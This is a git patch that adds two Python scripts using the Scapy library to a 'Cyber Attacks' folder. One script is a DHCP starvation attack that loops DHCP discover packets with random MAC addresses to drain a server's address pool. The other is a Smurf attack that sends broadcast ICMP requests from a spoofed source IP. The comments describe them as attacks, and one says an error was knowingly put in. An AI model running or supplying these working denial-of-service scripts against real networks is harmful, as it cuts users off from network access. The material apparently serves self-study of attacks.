From d6ad33197feb4505e89aea1c9984ba428bb0fd1f Mon Sep 17 00:00:00 2001 From: hecker1002 Date: Tue, 16 Apr 2024 19:46:10 +0530 Subject: [PATCH] added 2 Cyber TAtacks file - DHCP STarvation and Smurf Attack --- Cyber Attacks/DHCP_Attack | 37 +++++++++++++++++++++++++++++++++++++ Cyber Attacks/Smurf_Attack | 28 ++++++++++++++++++++++++++++ 2 files changed, 65 insertions(+) create mode 100644 Cyber Attacks/DHCP_Attack create mode 100644 Cyber Attacks/Smurf_Attack diff --git a/Cyber Attacks/DHCP_Attack b/Cyber Attacks/DHCP_Attack new file mode 100644 index 00000000..b0df380b --- /dev/null +++ b/Cyber Attacks/DHCP_Attack @@ -0,0 +1,37 @@ +# !pip install scapy + +from scapy.all import * + +# Prevents any IP conflicts while sending the packet +# disable sIP address checking at computers +# this we do by sending request apcket to dhcp server +# with FAKE MAC addr + +conf.checkIPaddr = False + + + + +# DHCP STarvation attack - empty the available pool of IP addr at DHCP Server so No computer +# can get any IP addr + +# Using IPv6 addr + +# discover sent in broadcast mode to all computers of network + +# BootP server (my PC) = has 68 Port No . + +DHCP_DISCOVER = Ether( src = RandMAC() , dst = 'ff:ff:ff:ff:ff:ff' , type = 0x0800)\ + /IP( src= '0.0.0.0' , dst = '255.255.255.255' )\ + /UDP( dport = 67 , sport = 68)\ + /BOOTP( op =1 , chaddr = RandMAC()) \ + /DHCP( options = [('message-type' , 'discover'), ('end') ] ) + +# send the packet (Multiple times in network with Fake MAC so to empty the iP pool) + +# ERROR KNOWINGLY PUT + +# iface = None (uses the default Interface to send data packets ) + +sendp(DHCP_DISCOVER , iface = None , loop =1 , verbose = 1 ) + diff --git a/Cyber Attacks/Smurf_Attack b/Cyber Attacks/Smurf_Attack new file mode 100644 index 00000000..3614bcf6 --- /dev/null +++ b/Cyber Attacks/Smurf_Attack @@ -0,0 +1,28 @@ + +# !pip install scapy + +from scapy.all import * + +# Prevents any IP conflicts while sending the packet +# disable sIP address checking at computers +# this we do by sending request apcket to dhcp server +# with FAKE MAC addr + +conf.checkIPaddr = False + +# SMURF ATTACK - As a hacker , send large number of ICMP Request Data PAckets (REquest) in BROADCAST to all compunters of network +# BUT with FAKE (SPOOFED) IP . Now , all these PC will send ICMP reply and ccongestion leads to DDOs Attack + +ICMP_REQUEST = IP(src= '192.168.2.11' , dst = '255.255.255.255' ) / ICMP() + + +send(ICMP_REQUEST , iface= None , loop =0 , verbose =1 ) + +# sniff the packet + + +# In[ ]: + + +a=sniff(filter="icmp and src 192.168.2.11") +a \ No newline at end of file